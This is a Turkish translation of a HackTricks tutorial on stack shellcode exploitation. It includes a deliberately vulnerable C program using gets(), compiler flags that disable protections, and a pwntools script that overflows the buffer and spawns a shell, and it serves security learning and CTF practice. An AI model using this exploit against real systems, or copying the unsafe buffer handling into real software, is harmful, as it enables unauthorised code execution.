7.2 KiB
Yığın Kabuk Kodu
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Yığın kabuk kodu, bir saldırganın zafiyetli bir programın yığınına kabuk kodu yazdığı ve ardından Komut İşaretçisi (IP) veya Genişletilmiş Komut İşaretçisi (EIP)'yi bu kabuk kodunun konumuna yönlendirdiği binary exploitation tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve pwntools ile Python kullanarak buna karşılık gelen bir saldırı yazabileceğiniz şekilde açıklanmıştır.
C Örneği: Zafiyetli Bir Program
Basit bir zafiyetli C programı örneğiyle başlayalım:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Bu program, gets()
fonksiyonunun kullanımından dolayı bir tampon taşmasına karşı savunmasızdır.
Derleme
Bu programı derlerken çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) aşağıdaki komutu kullanabilirsiniz:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Stack korumasını devre dışı bırakır.-z execstack
: Stack'i yürütülebilir yapar, stack'te depolanan shellcode'un yürütülmesi için gereklidir.-no-pie
: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcodemuzun bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.-m32
: Programı 32-bit yürütülebilir olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.
Pwntools Kullanarak Python Exploit'i
İşte pwntools kullanarak Python'da bir exploit yazabileceğiniz ve bir ret2shellcode saldırısı gerçekleştirebileceğiniz bir örnek:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Bu betik, bir NOP kaydırması, shellcode ve ardından EIP'yi NOP kaydırmasına işaret eden bir adrese üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.
NOP kaydırması (asm('nop')
) yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. p32()
argümanını, NOP kaydırmasına inmek için tamponunuzun başlangıç adresine bir ofset ekleyerek ayarlayın.
Korumalar
- ASLR adresin her zaman aynı olması gerektiği için devre dışı bırakılmalıdır veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
- Stack Canaries da devre dışı bırakılmalıdır aksi takdirde tehlikeye düşmüş EIP dönüş adresi asla takip edilmeyecektir.
- NX stack koruması, stack içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.
Diğer Örnekler ve Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64 bit, ASLR ile stack adres sızıntısı, shellcode yazma ve ona atlamak
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR ile stack sızıntısı, shellcode yazma ve ona atlamak
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR ile stack sızıntısı, çıkış çağrısını önlemek için karşılaştırma, değişkeni bir değerle üzerine yazma ve shellcode yazma ve ona atlamak
Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR gönderin.